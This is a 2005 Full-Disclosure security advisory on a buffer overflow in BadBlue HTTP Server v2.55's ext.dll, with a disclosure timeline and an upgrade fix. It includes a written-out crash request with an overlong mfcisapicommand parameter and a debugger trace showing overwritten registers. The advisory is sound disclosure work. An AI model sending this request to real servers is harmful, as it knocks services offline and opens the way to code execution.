[Full-Disclosure] Badblue HTTP Server, ext.dll buffer overflow

[Andres Tarasco <atarasco@xxxxxx>]

SIA International Security Advisory - Badblue HTTP Server, ext.dll buffer
overflow

* Release DAte:
February 26, 2005

* Vendor:  
Working Resources Inc. http://www.badblue.com

* Versions Affected:
Confirmed under Badblue HTTP Server v2.55

* Severity: 
Critical  (Remote Code execution)

* Summary:
"BadBlue is not only a server, it's a complete file sharing system that is
simply easier and faster to use than anything else. Why? Because BadBlue
lets you use a tool you already know well: a web browser."
"In seconds, you can turn your PC into a powerful web server. You can easily
share photos, music, videos, and much more. With its simple menu-driven
interface and pop-up wizards to guide you through setup, there's no faster
way to share files"


* Technical Details:
SIA has discovered a buffer overflow in EXT.DLL, a module that handles
badblue http Requests. This buffer overflow triggers when an special crafted
HTTP Request is created.
Buffer overflow in EXT.DLL is triggered when a malicious http request that
contains a long mfcisapicommand  parameter, with more than 250 chars, is
submitted. Some registers are overwritten so its possible to execute code or
cause a denial of service shutting down the server. The Following request
can be used to crash the remote server.

GET /ext.dll?mfcisapicommand=AAA...[250 chars]...AAA&page=index.htx

Windbg trace:
(360.21c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=026bda14 ebx=01130478 ecx=41414141 edx=0113057d esi=41414141
edi=77e2b495
eip=10042004 esp=026bd8f4 ebp=026bdbe0 iopl=0         nv up ei pl nz na po
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000
efl=00010206
*** WARNING: Unable to verify checksum for E:\BadBlue\PE\ext.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
E:\BadBlue\PE\ext.dll - 
ext!GetExtensionVersion+0x13f7:
10042004 8b3e             mov     edi,[esi]
ds:0023:41414141=????????

Succesfully exploitation of this flaw could allow remote code execution with
Administrator rigths.


* Solution: 
Upgrade to the lastest available version. At this time, vendor provides
version v2.6 that is available to download at
http://www.badblue.com/bb98.exe

* Credits:
Andres Tarasco (atarasco _at_ sia.es) has discovered this vulnerability

* Disclosure Timeline:
December     2004 - Discovered
December 20, 2004 -  Initial Vendor Notification 
December 21, 2004 -  Initial Vender Response
January 3,   2005 -  Vendor Patch released (v2.60)
February 26,  2005 -  Public Disclosure

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html